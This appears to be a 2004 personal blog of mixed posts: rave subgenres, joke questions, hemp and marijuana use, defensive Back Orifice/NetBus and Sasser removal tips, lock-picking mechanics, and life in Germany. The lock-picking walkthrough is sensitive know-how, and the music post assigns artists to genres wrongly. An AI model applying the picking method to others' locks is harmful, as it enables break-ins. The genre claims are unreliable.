For you all out there who wants to become a raver. Let me tell you some genre of musics out there which are popular. There are a lot of subgenres within the techno scene. Many people find it hard to tell the difference between the subgenres, but to a real raver, the difference is as meaningful as any rocker fan might find between soft rock, glam rock, pop rock, hard rock, heavy metal, or other type of rock (I don't know what else)... to them, it is a difference that will effect them real bad.

- Techno: The term techno is at once used to refer to the scene as a whole and also a particular facet of it. For most people, techno (proto-techno, Detroit techno, or hardcore techno) is the music of the scene. Techno is the most minimalist, the most mechanical, and perhaps the least soulful of all the subgenres. It's definitely the most aggressive, loudest, harshest, severe, and pounding; frequently hardcore wins over metal, punk, and industrial. Example of widely know groups of techno are Kraftwerk and Cybotron.

- Rave (also Techno/Rave, not to be confused with raves as events): This style is usually more soft and accessible than techno, and more likely to win transform from pop. It usually features female vocals and an easier, less tune. Most people think it's a lot easier to dance to. Rave is more melodic than hardcore techno. Big name rave groups are the Shamen and LA Style.

- House: (also Chicago or Acid House): Like techno or rave, house is itself a term that is often applied to the whole scene, but for raver it is also a subgenre. For most raver, house is the blackest, most funky and hiphop like of techno styles. House most clearly shows the roots of techno in the joining of black and gay musics(haha, no offense but i hate house)... house is happier, more party like and more upbeat than the often pessimistic hardcore. It features lots of piano sounds and samples from rap and a very smooth flow to it. Good example of house include Adamski and Dee-Lite. MTV also finds that house music is the easiest to create music videos for.

- Trance: (also hardtrance) Trance is real popular in Indonesia, especially Padang, Europe, especially in Belgium and Germany. You find a lot more string sounds in trance, which often also uses a good deal more of the spoken word. Trance is, of course, supposed to put you in another state of mind, and the features the most mind expanding rhythms. The pulse of the song is supposed to be timed so as to mesh most effectively with the rhythms of the body and the bloodflows of the brain. Good example of trance include Ministry of Sound, Eden Transmission, 808 State, and Cabaret Voltaire.

- Ambient : Ambient is the most atmospheric and spacey(is it how to spell it?) or aural kind of techno music. There's a heavy use of echo and replay to create a comfort feeling on the listener. Ambient shows clear roots in New Age music, as well as the synth sounds of groups like Human League or electronic music pioneers like Brian Eno or Philip Glass. Ambient is supposed to be more alive than straight techno, more likely to make you want to meditate than dance. For this reason ambient is often featured in the chill out rooms at techno clubs where people go to rest between dancing. It's supposed to ease the mind, calm the body, and pamper the emotions into a reflective state. Some of the big names in ambient are the Psychick Warriors ov Gaia and Aphex Twin.

- Dub (also Breakbeat, Jungle, or Darkside): Dub techno shows Caribbean music to be a strong influence, example reggae, ska, and zouk. Dub uses some of the rhythms of reggae but sped up a great deal since reggae is usually played at a fairly slow tempo. Dub occasionally features sampled acoustic drumming (imagine that!!!) and uses a lot of original vocals, and has what a lot of people call a spooky feel to it. Some people even hear a little bit of gospel or spiritual in dub. Good example include Phuture Assassins and DHD (Dub House Disco.)

- Tribal : Tribal techno most often imitates (but rarely copies wholesale) Third World sounds and Fourth World musics (you know what third and fourth world is right? in case you don't know, it means some very traditional countries or not modern at all.), combining them with electronic sounds to create a modern primitive sound. Rather than sampling a particular ethnic sound, like a lot of so called World Music, tribal techno will simply borrow the feeling of Middle Eastern or Native American rhythms... tribal is supposed to sound the most ritualistic of all the kinds of techno. Tribal techno often tries to create an ethnotechno feeling which sounds primitive but can be hard to associate with any known Fourth World tribe or group, although some often does sample outright the chants or rituals of such groups. Examples of the tribal style I can find are Mere Mortals and Juno Reactor.

- Progressive (aka Deep House, Acid Jazz): Progressive techno of course is different from progressive music. For techno philes, progressive, which is real popular in San Francisco, features a more complex melody and layering of instrumentation, mixing chord progressions, and a spooky kind of feel. Acid Jazz in particular shows a sort of renewed interest with instrument lines oten jumping out and coming to dominate the tune. Good examples of progressive are Brother Love and React 2 Rhythm.

So have you decide which music type do you want? Well I strongly recommend you to try Trance and Jungle. They are the best. But don't ever ever try to go to a party after hitting EXTACY. Man I am sure in the next morning your necks won't be able to move like usual. Lots of beats will make u headbang every now and then. Approximately 120 beats per minute or more. Do you think your neck is strong enough to support your head banging for 8-12 straight hours? Good luck...

Can you provide me the answers for these questions???

2004-05-13T09:06:00.000+02:00

Why is the blackboard green?
Why do they call it a black light when it's really purple?
Why do hotdogs come in packs of 8 when hotdog rolls come in packs of 10?
What do you call male ballerinas?
How come the sun makes your skin darker but your hair lighter?
If you dig a tunnel straight through the earth, will you come out with your feet first?
Why are pennies bigger than dimes?
Did they have antiques in the olden days?
Are zebras black with white stripes, or white with black stripes?
If Pringles are "so good that once you pop, you can't stop" why do they come with a resealable lid?
Is a sleeping bag a nap sack?
What came first, the fruit or the color orange?
Where does the white go when the snow melts?
Can blind people see their dreams?
If there's an exception to every rule, is there an exception to that rule?
Why do you click on start to exit Microsoft Windows?
Have you ever wondered why Trix are only for kids?
Why doesn't Tarzan have a beard?
Why do most cars have speedometers that go up to at least 130 when you legally can't go that fast on any road?
Why do they call it "getting your dog fixed" if afterwards it doesn't work anymore?
If Wile Coyote had enough money for all that Acme crap, why didn't he just buy dinner?
If masochists like to torture themselves, wouldn't they do it best by not torturing themselves? and if so, aren't we all masochist?
why is it called lipstick when it always comes off?
If when people freak out they are said to be "having a cow", when cows freak out are they said to be "having a person?"
Aren't you tired of people asking you rhetorical questions and you don't know if they are rhetorical questions or not?
Why is a person that handles your money called a BROKER?
Why do we leave expensive cars in the driveway, when we keep worthless junk in the garage?
why do they have handicap parking spaces in front of they skating rings?
What happens if someone loses a lost and found box?
Why do they call it taking a dump? Shouldn't it be leaving a dump?
What if the hokey-pokey really is what it's all about?
Where in the nursery rhyme does it say humpty dumpty is an egg?
If quizzes are quizzical then what are tests?
Why do they sterilize needles for lethal injections?
Why do banks leave the door wide open but the pens chained to the counter?
What would happen if an Irresistible Force met an Immovable Object?
What's the difference between a wise man and a wise guy?
If Americans throw rice at weddings, do the Chinese throw hamburgers?
how can you chop down a tree and then chop it up?
How can you hear yourself think?
If corn oil is made from corn, and vegetable oil is made from vegetables, then what is baby oil made from?
Is a man full of wonder a wonderful man?
Is a hot car cool or is a cool car hot?
How come thaw and unthaw mean the same thing?
If The Flintstones were B.C. and before America, why did they have Flintstones Thanksgiving and Flintstones Christmas?
If a Man is talking in the forest and there is no woman there to hear him, is he still wrong?
Why is it that when a person tells you there's over a million stars in the universe you believe them, but if someone tells you there's wet paint somewhere, you have to touch it to make sure?
if you fed a bee nothing but oranges, would it start making marmalade?
Why is it you get a penny for your thoughts, but have to put in your two cents worth?
If electricity comes from electrons, does morality come from morons?
If the speed of movement is slower than the speed of light - how fast is a moving light?
why do you get on a bus and a train but get into a car?
Why is it good to be a Daddy's girl, but bad to be a Momma's boy?
How can something be new and improved? if it's new, what was it improving on?
Is Disney world the only people trap operated by a mouse?
Why did they name that underwear company fruit of the loom?
Why do grocery stores buy so many checkout line registers if they only keep 3 or 4 open?
why do the ABC song, Twinkle Twinkle Little Star, and Baa Baa Black Sheep all have the same tune?
Do illiterate people get the full effect of alphabet soup?
How does Santa get into a house that doesn't have a chimney?
If you get cheated by the better business bureau, who do you complain to?
If you're in hell, and are mad at someone, where do you tell them to go?
What would Geronimo say if he jumped out of an airplane?
What would Cheese say if they got their picture taken?
why are turds pinched off at the end?
I know you can be overwhelmed, and I know you can be underwhelmed, but can you just be whelmed?
If Barbie is so popular, then why do you have to buy her friends?
Why does Donald Duck wear a towel when he comes out of the shower, when he doesn't usually wear any pants?
If you take an oriental person and spin him around a few times, does he become disoriented?
How come overtones and undertones are the same thing?
What would you use to dilute water?
What should one call a male ladybird?
How can military troops be deployed if they have never been ployed to begin with?
If you lived in Siberia and you wronged the Russians government, where would they send you?
Why do they call it an asteroid when its outside the hemisphere but call it a hemorrhoid when its in your ass?
If a cow laughed real hard, would milk come out her nose?
Before they invented drawing boards, what did they go back to?
Aren't all generalizations false?
Can atheists get insurance for acts of God?
Do you need a silencer if you are going to shoot a mime?
Can I get arrested for running into a Fire House yelling Movie! Movie!?
Can you be a closet claustrophobic?
Could someone ever get addicted to counseling?
If so, how could you treat them?
Did Adam and Eve have navels?
Did the early settlers ever go on a camping trip?
Did you ever notice when you blow in a dog's face he gets mad at you?
But when you take him in a car, he sticks his head out the window!
Do fish get cramps after eating?
Do infants enjoy infancy as much as adults enjoy adultery?
Do Lipton employees take coffee breaks?
Do one legged ducks swim in circles?
Do Roman paramedics refer to IV's as 4's?
Does the little mermaid wear an algebra?
Does the Postmaster General need a stamp of approval?
Have you ever imagined a world with no hypothetical situations?
How can overlook and oversee be opposites, while quite a lot and quite a few are alike?
How can someone "draw a blank"?
How can the weather be hot as hell one day and cold as hell another?
How can there be "self help GROUPS"?
How come Superman could stop bullets with his chest, but always ducked when someone threw a gun at him?
How come you press harder on a remote control when you know the battery is dead?
How do they get a deer to cross at that yellow road sign?
How do you know when yogurt goes bad?
How do you know when you're out of invisible ink?
How does a shelf salesman keep his store from looking empty?
How does the guy who drives the snowplow get to work in the mornings?
How fast do you have to go to keep up with the sun so you're never in darkness?
How is it possible to have a civil war?
If a parsley farmer is sued, can they garnish his wages?
If a stealth bomber crashes in a forest, will it make a sound?
If a tree falls in the forest and no one is around to see it, do the other trees make fun of it?
If a tree fell on a mime in the forest, would he make a sound and would anyone care?
If a turtle doesn't have a shell, is he homeless or naked?
If a woman can be a meter maid, can a man be a meter butler?
If all the world is a stage, where is the audience sitting?
If an orange is orange, why isn't a lime called a green or a lemon called a yellow?
If God dropped acid, would he see people?
How many people thought of the Post-It note before it was invented but just didn't have anything to write it down on?

Some informations about Hemp, Weed, Shit or whatever you call it.

2004-05-12T11:44:00.000+02:00

Hemp is a plant with an incredible history stretching back several thousand years. The recent history of hemp in the United States is a great story from a human sociological standpoint, so let's take a look at it and see why this plant is caught in a cross-fire.

When most people think of fibers for cloth, they think about things like cotton or wool. Cotton and wool are both nice, soft fibers from the start. You can comb them out, spin them and create thread. This thread is great for making cloth that is soft to the skin, but it is not very strong.

Hemp is a lot like flax, and flax is where linen comes from. In both hemp and flax, the fibers are in the stalk of the plant. The fibers are something like the threads you see in a celery stalk long, stringy and tough. To get at the fibers, you comb them out of the woody part of the dried stalk. The fibers tend to be coarser than cotton or wool, and they are very strong. This strength makes hemp a great fiber for ropes.

It is believed that the word "canvas" came from the word "cannabis." Sailcloth and canvas was made from hemp for a very long time!

The reason why hemp shows up in organic magazines and catalogs is because it is very friendly to the environment. For example, environmentally conscious people like these aspects of hemp:

Cotton raised in the U.S. requires millions of pounds of pesticides and fertilizers. It is a very intensive crop that takes a lot out of the land. Bugs like boll weevils love cotton and must be killed with insecticides. Hemp, on the other hand, is a weed. According to the World Book encyclopedia, "Fiber hemp can be sown simply by scattering the seed on the ground." You can grow hemp using much less fertilizer and pesticide.

Hemp fibers can be used in many different ways. With them you can make cloth, paper, cardboard, fiber board, etc. By using hemp for paper and construction materials, pressure is removed from forests. Hemp also grows much faster and more densely than trees do.
The problem with hemp is that the hemp plant is also known as the Cannabis plant, which is also known as the marijuana plant. The following is from Encyclopedia Britannica:
Hemp (species Cannabis sativa): plant of the family Cannabaceae and its fibre, one of the bast fibre group. The plant is also grown for its seed, which contains about 30 percent oil, and for the narcotic drugs marijuana and hashish derived from its leaves and blossoms.
This connection to marijuana is what makes hemp such a hot issue in the United States. There are varieties of fiber hemp that eliminate the drug component of the plant to a large degree, but the concern is that it would be very easy to hide drug plants in a crop of fiber plants. So at the moment, hemp production in the U.S. is stalled and is a source of continuous debate.

Cannabis sativa is perhaps the most recognizable plant in the world. Pictures of the ubiquitous green cannabis leaf show up in the news media, textbooks and drug-prevention literature, and the leaf's shape is made into jewelry, put on bumper stickers and clothing and spray-painted on walls. The leaves are arranged palmately, radiating from a common center like the fingers of a hand spreading apart. Although most people know what the cannabis plant looks like, they may know very little about its horticulture.

Cannabis sativa is believed to be a native plant of India, where it possibly originated in a region just north of the Himalayan mountains. It is a herbaceous annual that can grow to a height of between 4 to 5 meters. The plant has flowers that bloom from late-summer to mid-fall. Cannabis plants usually have one of two types of flowers, male or female, and some plants have both. Male flowers grow in elongated clusters along the leaves and turn yellow and die after blossoming. Female flowers grow in spike-like clusters and remain dark green for a month after blossoming, until the seed ripens. Hashish, which is more powerful than marijuana, is made from the resin of the cannabis flowers.

The most common way of using marijuana is smoking. Smoking is also the most expedient way to get it into the bloodstream. When the smoke from marijuana is inhaled, it goes directly to the lungs. Your lungs are lined with millions tiny air sacs where gas exchange occurs. These sacs have an enormous surface area, 90 times greater than that of your skin. So they make it easy for the compounds to enter the body. The smoke is absorbed by the lungs just seconds after inhaling.

You can also eat marijuana. In this case, the marijuana enters the stomach and the blood absorbs it there. The blood then carries it to the liver and the rest of the body. The stomach absorbs THC more slowly than the lungs. When marijuana is eaten, the levels of THC in the body are lower, but the effects last longer.

Marijuana users often describe the experience of smoking marijuana as initially relaxing and mellow, creating a feeling of haziness and light-headedness. The user's eyes may dilate, causing colors to appear more intense, and other senses may be enhanced. Later, feelings of a paranoia and panic may be felt by the user.

Research shows that marijuana is not physically addictive, but it can be psychologically addictive. It's not considered physically addictive because users show few or no withdrawal symptoms during cessation. Psychological dependence usually develops because a person's mind craves the high that it gets when using the drug. Although marijuana is known to have negative effects on the human body, there is a raging debate over the use of marijuana as a medical treatment. Some say that marijuana should be legalized for medical use because it has been known to suppress nausea, relieve eye pressure in glaucoma patients, decrease muscle spasms, stimulate appetite, stop convulsions and eliminate menstrual pain. Others claim that marijuana's negative effects outweigh its benefits. There are currently nine U.S. states that allow for the use of marijuana for medical purposes: Alaska, Arizona, California, Colorado, Hawaii, Maine, Nevada, Oregon and Washington.

Marijuana is readily available in almost every corner of the United States, according to the Department of Justice. It's found growing in homes, on farms, in the suburbs and in the city. Cannabis is frequently found growing on public land, often in remote locations to prevent observation and identification of the growers. In 1999, the U.S. Forest Service seized almost 1 million pounds (453,592 kg) of cannabis plants and processed marijuana in 35 states. Marijuana is also smuggled into the United States from Mexico, Cambodia and Thailand, among other countries.
There is a growing trend toward indoor cultivation of marijuana in the United States because of the DEA's efforts to curtail outdoor cultivation. Indoor growers cultivate cannabis in closets, fish tanks and elaborate greenhouses. Some growers have even built structures that look like real homes but lack interior walls, all to hide their marijuana-growing operations. In 1998, drug law enforcement authorities seized 2,616 indoor marijuana-growing operations.

Marijuana is the single most-used illicit drug in the United States. Despite being illegal, marijuana use rivals the popularity of browsing the Internet. In 1998, more than 76.5 million Americans logged onto the Internet, according to Computer Industry Almanac. In that same year, more than 71 million Americans over the age of 12 admitted that they have used marijuana at least once in their lifetime.

There are several ways in which people use marijuana, and the way in which it is used determines the amount of chemicals transferred into the body, according to the authors of "Buzzed." Here are the most common methods of use:

-Cigarette - Also called a joint, dried marijuana buds are rolled into a cigarette. Approximately 10 percent to 20 percent of the THC is transferred into the body when smoking a joint.
-Cigar - Some users slice open a cigar, remove the tobacco and refill it with marijuana. The marijuana-filled cigar is often called a blunt.
-Pipe - You've probably seen people smoke pipes of tobacco, but these pipes are also used to smoke marijuana. About 40 percent to 50 percent of the THC is transferred into the body when using a pipe.
-Bong - These are water pipes that typically have a long tube rising out of a bowl-shaped base. Water pipes trap the smoke until it's inhaled, raising the amount of THC taken in.
-Food - Marijuana is sometimes baked into foods, such as brownies, or brewed as tea.

With millions of users, marijuana use is not limited to one demographic group. It cuts across all racial and economic boundaries. However, marijuana use is highest among younger people. The prevalence of marijuana use in teenagers doubled from 1992 to 1999: One out of every 13 kids aged 12 to 17 were current users of marijuana in 1999. The 1998 National Center on Addiction and Substance Abuse indicates that marijuana is very easy to obtain. Half of all 13-year-olds said that they can find and purchase marijuana, according to the study. Of teens surveyed, 49 percent said that they had first tried marijuana at age 13 or younger.

There are hundreds of slang words that mean "marijuana" (some refer to specific types). Here are just a few:
-Airplane
-Astro turf
-Aunt Mary
-Black Bart
-Boom
-Bud
-Charge
-Chiba chiba
-Chunky
-Dagga
-Dinkie dow
-Endo
-Ganja
-Haircut
-Hay
-Mary Jane
-Matchbox
-Maui wauie
-Sezz
-Yellow submarine
-Zambi

Know anything about Trojan Horse???

2004-05-12T11:09:00.000+02:00

If you think Trojan Horse is something from the new Brad Pitt's movie called Troy, you are close. They have a rather similar concept and function. But what I mean in this blog is that Trojan as in for taking over someone else's computer over the Internet.

Here I'll share some information I know about it. Maybe too little, but I think it's ok since I'm still a newbie in this Internet world. But first I want to let you all know that I have never experienced my computer taken over by someone else, so you may believe my blog or just take it as a useless information. It's your decision.

Now let's begin, I'll try to give some background information on two well-known Trojan Horses. The first one is called Back Orifice... the second one NetBus. Besides talking about what you can do against these two "viruses" (I'm not sure if virus is the correct word for BO or Netbus, but to keep this blog easy to read I'll use that word) the question remains what other unknown viruses or Trojan Horses might be running on your system without you knowing? I'll give examples of detecting the Trojans, but these are for older versions of the trojans only. Currently there are so many versions of Back Orifice (BO2K) and NetBus (NetBus 1.2, 1.53, 1.60, 1.70, 2.0 Pro, 2.01 Pro ...) trojans. And, besides NetBus and Back Orifice there are many more trojans we will not mention in the rest of this document because it would simply become to difficult to read. A few of them are: Attack FTP Installer ; BackDoor ; DeepBO ; Executor ; FTP Trojan ; FTP99 ; Happy99 ; NetMonitor ; SubSeven etc.

Should you panic? Personally, I don't think so. I have been on the Internet quite some time now and there are some things you should just keep in mind and be careful. My motto is "better safe than sorry" so what I don't do is, for example, accept files from people on IRC. The first thing I do when I try some sort of new Internet application is to turn off all auto-accept options. I want to keep in control. I do not open email attachments I do not trust. Just to be sure I scan the email attachments I do trust first, before opening it.

As an example to what trojans can do on your system, here are a few of the capabities of Back Orifice 2000:

-Rebooting, locking up system, listing of passwords etc.
-View and edit the registry (create a key, set a value, get a value, delete a key, delete a value, rename a key, etc.)
-List directory, find file, delete file, view file, move file, rename file, copy file, make directory, remove directory and set file attributes.
-Display a message box.
-Logging keyboard activities, operations with log file: view, delete.
-Adding and removing network shares, mapping of shared devices, listing of active connections etc.
-Playing WAV files.

These are just a few things I do as a precaution. Who can you trust? That's hard to answer, maybe it doesn't even have to do with trust. Somebody you know might have a virus on his/hers system without him/her knowing it. When he or she uploads something to you, you might have it too. Another good example: I needed information about a problem with new hardware (from a well known brand) I bought for my PC. I searched for documentation on the hardware manufacturer's public FTP site and when opening a document (Word) from that FTP site I noticed it contained a macro virus. I discovered it on time, because I'm careful. That's probably the most important thing you can do against viruses.

Back to the two Trojan Horses Back Orifice and Netbus... they both run like a server on your system (a "back door" is opened on an infected PC to make access from outside possible), and with a client they can be accessed by other people, who can then do virtually anything on your system, including deleting files. As said before, once a system is infected, the one accessing your PC can do virtually anything, possibly even turning on your microphone and listen to what you are doing!

Some versions of the trojan horse report the IP address of a PC, once connected to the Internet, on an IRC channel. Other methods used are port scanners, which scan a range of IP addresses/ports to find a PC which has "the backdoor open". Not all versions of the trojan horses are accessible by anybody with a client, some are even "customized" with password protection, which means that if a system is infected, it can only be accessed by the person who has the password.

If you want to find out if you are infected by one or more trojans, what I recommend most is to search for information on trojans on the Internet at companies such as McAfee, Symantec and DataFellows. They usually have very good info about trojans and viruses.

I heard and read about a few methods on how you can possibly find out if you are "infected" by Back Orifice or Netbus. Note that these detection hints are for older versions of NetBus and Back Orifice only (not for example for Back Orifice 2000 or BO2K !). If you run these tests and don't find anything suspicious, this doesn't mean you are not infected. The following methods are just a few suggestions you can try, and do not guarantee anything. You should try the following methods at your own risk.

1. Netbus might be found with telnet. Open a dos box and type:
telnet 127.0.0.1 12345
telnet 127.0.0.1 12346

Telnet opens, and in case a line in your telnet window containing "netbus" (excluding "") you system is infected with Netbus.

2. For both Back Orifice (old version) and Netbus (old version) there is another possible way to find if you are infected with one of them. Close all your applications, especially those who point to network-shares. Open a DOS box and run the following command:
netstat -an|more

Back Orifice possibly replies with:

UDP 0.0.0.0:31337 *:*

NetBus possibly replies with:

TCP 0.0.0.0:12345 *:*
TCP 0.0.0.0:12346 *:*

Other "strange" replies from netstat, especially those with higher UDP and TCP ports, might be suspicious.

3. You can try looking in your system registry with regedit (recommended for advanced users only!) and take a look at:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

This contains all files which are run as a service. If you find a service called .exe (yes, .exe, no name before the dot) or a service with a very very strange name which has a file size of about 122 Kb, then it's possible that you are infected with Back Orifice.

"Finding Your Back Orifice" is a site which shows screenshots of an infected system registry and a clean system registry.

4. If weird things start happening on your system, for example: missing files/directories, suddenly opening and closing CD-ROM drive etc. then it's possible your system is infected with Back Orifice or Netbus.

5. Back Orifice: Another method of finding out if your system is infected by BO (older version) is to search your WINDOWS/SYSTEM directory for the file windll.dll. If it's there you are possibly infected.

Rumors are that some Netbus/Back Orifice removal applications going around on the Internet are the trojan horses itself. For that reason you have to be very careful which removal application you are going to use.

What I recommend most, again, is to use a well-known brand virus scanner which can detect and remove viruses like Back Orifice and Netbus. Always check if this is the case before you buy, just to make sure! Another thing I can recommend is that you always keep your anti-virus software up-to-date. As an example: McAfee VirusScan has downloadable ".DAT" files which are renewed every month. PC Help is a site which also shows some methods how to remove Back Orifice from your system.

Below are a few applications which detect and/or remove Back Orifice and/or Netbus. (Use at your own risk... also be sure to read the complete instructions of the application before you use it).

-BackWork
-The Cleaner
-McAfee VirusScan
-F-Secure Anti-Virus for Windows

More applications and tools for detecting and/or destroying Trojan Horses can be found in the MPSmits.Com freeware & shareware area: Security: Anti Trojan Horse, Security: Anti-Virus Software, and for those of you who are looking for protection against winnukes visit Security: Anti Winnuke.

Some useful information about Sasser

2004-05-12T11:07:00.000+02:00

Sasser starts 128 threads that scan randomly chosen IP addresses. Because this process is CPU intensive, your computer will experience performance degradation. In some instances, your computer may be too slow to use. An infected computer will also display LSA Shell errors.

You can also remove Sasser manually by following these steps.

1. Disconnect your computer from the Internet.
2. Boot in Safe Mode by pressing the F8 key during startup.
3. Navigate to your Windows directory (c:\WINDOWS or c:\WINNT) on your hard drive.
4. Look for a file named AVSERVE.EXE. Delete it.
5. Click on the Start menu and select Run.
6. Type "regedit" (without quotes).
7. Navigate to the following Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
8. In the windows to the right, look for a value called avserve. Delete it.
9. Exit RegEdit.
10. Reboot.

If you do not have Sasser, or you just removed it from your system, you need to prevent future infection by installing the security update that fixes the LSASS vulnerability. The update is labeled 835732 and is available at Microsoft's Windows Update site.

Ever forget your house key and been locked outside?

2004-05-12T10:48:00.000+02:00

I'll give you a simple method on how to get in without breaking anythin. The simple method which lots of times been use in movies.

In a normal deadbolt lock, a movable bolt or latch is embedded in the door so it can be extended out the side. This bolt is lined up with a notch in the frame. When you turn the lock, the bolt extends into the notch in the frame, so the door can't move. When you retract the bolt, the door moves freely.
A deadbolt lock's only job is to make it simple for someone with a key to move the bolt but difficult for someone without a key to move it.

Most deadbolts use a cylinder lock. In the cylinder lock, the key turns a cylinder, or plug, which turns an attached cam. When the plug is turned one way, the cam pulls in on the bolt and the door can open. When the plug turns the other way, the cam releases the bolt and the spring snaps it into place so the door cannot open. In a deadbolt lock, there is no spring mechanism the turning cylinder slides the bolt forward and backward. A deadbolt is more secure than a spring-driven latch since it's much harder to push the bolt in from the side of the door.
Inside a cylinder lock, there is a sort of puzzle, which only the correct key can solve. The main variation in lock designs is the nature of this puzzle. One of the most common puzzles and one of the easiest to pick is the pin-and-tumbler design.

The main components in the pin-and-tumbler design are a series of small pins of varying length. The pins are divided up into pairs. Each pair rests in a shaft running through the central cylinder plug and into the housing around the plug. Springs at the top of the shafts keep the pin pairs in position in the plug. When no key is inserted, the bottom pin in each pair is completely inside the plug, while the upper pin is halfway in the plug and halfway in the housing. The position of these upper pins keeps the plug from turning, the pins bind the plug to the housing.

When you insert a key, the series of notches in the key push the pin pairs up to different levels. The incorrect key will push the pins so that most of the top pins are still partly in the plug and partly in the housing. The correct key will push each pin pair up just enough so that the point where the two pins come together lines up perfectly with the space where the cylinder and the housing come together (this point is called the shear line). To put it another way, the key will push the pins up so that all of the upper pins are inserted completely in the housing, while all of the lower pins rest completely in the plug. Without any pins binding it to the housing, the plug moves freely, and you can push the bolt in and out. This simple puzzle design is very effective. Since the pins are hidden inside the lock, it's fairly difficult for most people to move the plug without the correct key. But, with a lot of practice, it is possible to solve the puzzle by other means.

There are two main elements involved in the picking process:

Picks - Picks are long, thin pieces of metal that curve up at the end (like a dentist's pick). They are used to reach into the lock and push the pins up
Tension wrench - Tension wrenches come in all shapes and sizes. Functionally, they aren't very complex. The simplest sort of tension wrench is a thin flathead screwdriver.

The first step in picking a lock is to insert the tension wrench into the keyhole and turn it in the same direction that you would turn the key. This turns the plug so that it is slightly offset from the housing around it.

While applying pressure on the plug, you insert a pick into the keyhole and begin lifting the pins. The object is to lift each pin pair up to the level at which the top pin moves completely into the housing, as if pushed by the correct key. When you do this while applying pressure with the tension wrench, you feel or hear a slight click when the pin falls into position. This is the sound of the upper pin falling into place on the ledge in the shaft. The ledge keeps the upper pin wedged in the housing, so it won't fall back down into the plug.

In this way, you move each pin pair into the correct position until all of the upper pins are pushed completely into the housing and all of the lower pins rest inside the plug. At this point, the plug rotates freely and you can open the lock.

Conceptually, the lock-picking process is quite simple, but it is a very difficult skill to master. Locksmiths have to learn exactly the right pressure to apply and what sounds to listen for. They also must hone their sense of touch to the point where they can feel the slight forces of the moving pins and plug. Additionally, they must learn to visualize all the pieces inside the lock. Successful lock picking depends on complete familiarity with the lock's design.

Nostradamus

2004-05-12T10:46:00.000+02:00

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Germany

2004-05-12T10:07:00.000+02:00

Currently I live in Germany. Working in this I.T. company called IBS. When I come to Germany with intention to work, I have so little knowledge about Germany. All I knew by asking people is that German people are very dependent, careless about someone else's business, only think about themselves. But they were wrong. German people (well at least those I know) are very nice, they are polite, full of manner, punctual, and many other good stuff. I like this place. But one think that I don't like is their heating system. I believe anywhere in Germany is the same, the heater will goes off every night automatically. Damn it's cold everytime I woke up at night to get rid of toxic in my body. And somehow my bathroom is even warmer than my room.